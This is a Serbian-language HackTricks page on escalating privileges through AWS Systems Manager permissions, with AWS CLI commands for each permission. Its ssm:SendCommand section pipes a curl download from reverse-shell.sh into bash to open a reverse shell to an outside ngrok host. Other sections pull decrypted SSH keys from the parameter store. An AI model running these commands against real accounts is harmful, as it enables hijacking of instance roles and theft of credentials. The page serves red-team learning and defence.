AWS - SSM Privesc

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

SSM

Za više informacija o SSM proverite:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Napadač sa dozvolom ssm:SendCommand može izvršavati komande u instancama koje pokreću Amazon SSM Agent i kompromitovati IAM ulogu koja se izvršava unutar nje.

bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

U slučaju da koristite ovu tehniku za eskalaciju privilegija unutar već kompromitovane EC2 instance, možete jednostavno uhvatiti rev shell lokalno sa:

bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Potencijalni uticaj: Direktno privesc na EC2 IAM uloge povezane sa aktivnim instancama sa SSM agentima.

ssm:StartSession

Napadač sa dozvolom ssm:StartSession može pokrenuti SSH sličnu sesiju u instancama koje pokreću Amazon SSM Agent i kompromitovati IAM ulogu koja se izvršava unutar nje.

bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

caution

Da biste započeli sesiju, potrebno je da imate instaliran SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potencijalni uticaj: Direktno privesc na EC2 IAM uloge povezane sa aktivnim instancama sa SSM agentima.

Privesc na ECS

Kada ECS zadaci rade sa ExecuteCommand omogućeno, korisnici sa dovoljno dozvola mogu koristiti ecs execute-command da izvrše komandu unutar kontejnera.
Prema dokumentaciji, to se postiže kreiranjem sigurnog kanala između uređaja koji koristite za iniciranje komande “exec” i ciljnog kontejnera sa SSM Session Manager-om. (SSM Session Manager Plugin je neophodan za ovo)
Stoga, korisnici sa ssm:StartSession moći će da dobiju shell unutar ECS zadataka sa tom opcijom omogućenom jednostavno pokretanjem:

bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potencijalni uticaj: Direktno privesc na ECS IAM uloge povezane sa aktivnim zadacima sa omogućenom ExecuteCommand.

ssm:ResumeSession

Napadač sa dozvolom ssm:ResumeSession može ponovo pokrenuti SSH sličnu sesiju u instancama koje pokreću Amazon SSM Agent sa isključenim stanjem SSM sesije i kompromitovati IAM ulogu koja se izvršava unutar nje.

bash
# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Potencijalni uticaj: Direktno privesc do EC2 IAM uloga povezanih sa aktivnim instancama sa SSM agentima i prekinutim sesijama.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Napadač sa pomenutim dozvolama će moći da nabroji SSM parametre i pročita ih u čistom tekstu. U ovim parametrima često možete pronaći osetljive informacije kao što su SSH ključevi ili API ključevi.

bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Potencijalni uticaj: Pronaći osetljive informacije unutar parametara.

ssm:ListCommands

Napadač sa ovom dozvolom može da prikaže sve komande koje su poslate i nada se da će pronaći osetljive informacije u njima.

aws ssm list-commands

Potencijalni uticaj: Pronaći osetljive informacije unutar komandnih linija.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Napadač sa ovim dozvolama može da prikaže sve komande poslate i pročita izlaz generisan, nadajući se da će pronaći osetljive informacije u njemu.

bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Potencijalni uticaj: Pronaći osetljive informacije unutar izlaza komandnih linija.

Codebuild

Takođe možete koristiti SSM da uđete u projekat codebuild koji se gradi:

AWS - Codebuild Privesc

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks